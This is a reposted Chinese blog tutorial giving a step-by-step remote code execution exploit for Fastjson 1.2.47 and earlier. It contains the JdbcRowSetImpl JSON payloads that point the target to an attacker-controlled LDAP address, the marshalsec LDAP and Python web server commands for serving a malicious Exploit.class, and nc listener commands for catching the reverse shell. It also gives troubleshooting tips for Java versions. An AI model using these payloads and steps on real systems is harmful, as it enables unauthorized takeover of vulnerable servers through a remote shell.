【轉】fastjson-1.2.47-RCE


Fastjson <= 1.2.47 遠程命令執行漏洞利用工具及方法,以及避開坑點

以下操作均在Ubuntu 18下親測可用,openjdk需要切換到8,且使用8的javac

> java -version
openjdk versin "1.8.0_222"

> javac -version
javac 1.8.0_222

0x00 假設存在漏洞的功能

POST /note/submit/

param={'id':29384,'content':'Hello','type':'string'}

0x01 測試外連

准備一台服務器監聽流量

nc -lvvp 7777

發送Payload,將IP改為監聽服務器IP

POST /note/submit/

param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:7777/Exploit","autoCommit":true}}}

如果監聽服務器有流量,可以繼續下一步

0x02 准備LDAP服務和Web服務

將marshalsec-0.0.3-SNAPSHOT-all.jar文件和Exploit.java放在同一目錄下

在當前目錄下運行LDAP服務,修改IP為當前這台服務器的IP

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit

在當前目錄下運行Web服務

python3 -m http.server 80 或者 python -m SimpleHTTPServer 80

0x03 修改Exploit並編譯成class文件

修改Exploit.java中的反彈IP和端口(准備接收反彈SHELL的服務器IP和監聽端口)

使用javac編譯Exploit.java,生成Exploit.class文件(注意:javac最好與目標服務器接近,否則目標服務器無法解析class文件,會報錯)

javac Exploit.java

0x03 准備

回顧一下,現在目錄應該有三個文件

marshalsec-0.0.3-SNAPSHOT-all.jar
Exploit.java
Exploit.class

服務器正在開啟LDAP和Web

LDAP Server:Listening on 0.0.0.0:1389
Web  Server:Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

一個nc正在准備接收反彈回來的SHELL

nc -lvvp 7777

0x04 執行

修改ip為正在運行LDAP和Web服務的服務器IP

POST /note/submit

param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit","autoCommit":true}}}

接下來如果沒有任何報錯的話,LDAP將會把請求Redirect到Web服務,Fastjson將會下載Exploit.class,並解析運行

你的LDAP服務和Web服務都會收到請求記錄,如果沒有問題,你的nc也會收到反彈回來的SHELL

0x05 問題

當javac版本和目標服務器差太多,會報一個這樣得到錯誤,所以需要使用1.8的javac來編譯Exploit.java

Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0

當運行LDAP的服務器java版本過高,會無法運行LDAP服務,雖然顯示正在Listening,但是Fastjson的JNDI會報錯,顯示無法獲取到資源,所以要使用java 1.8(openjdk 8)來運行LDAP服務

 

來源及工具:https://github.com/CaijiOrz/fastjson-1.2.47-RCE


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM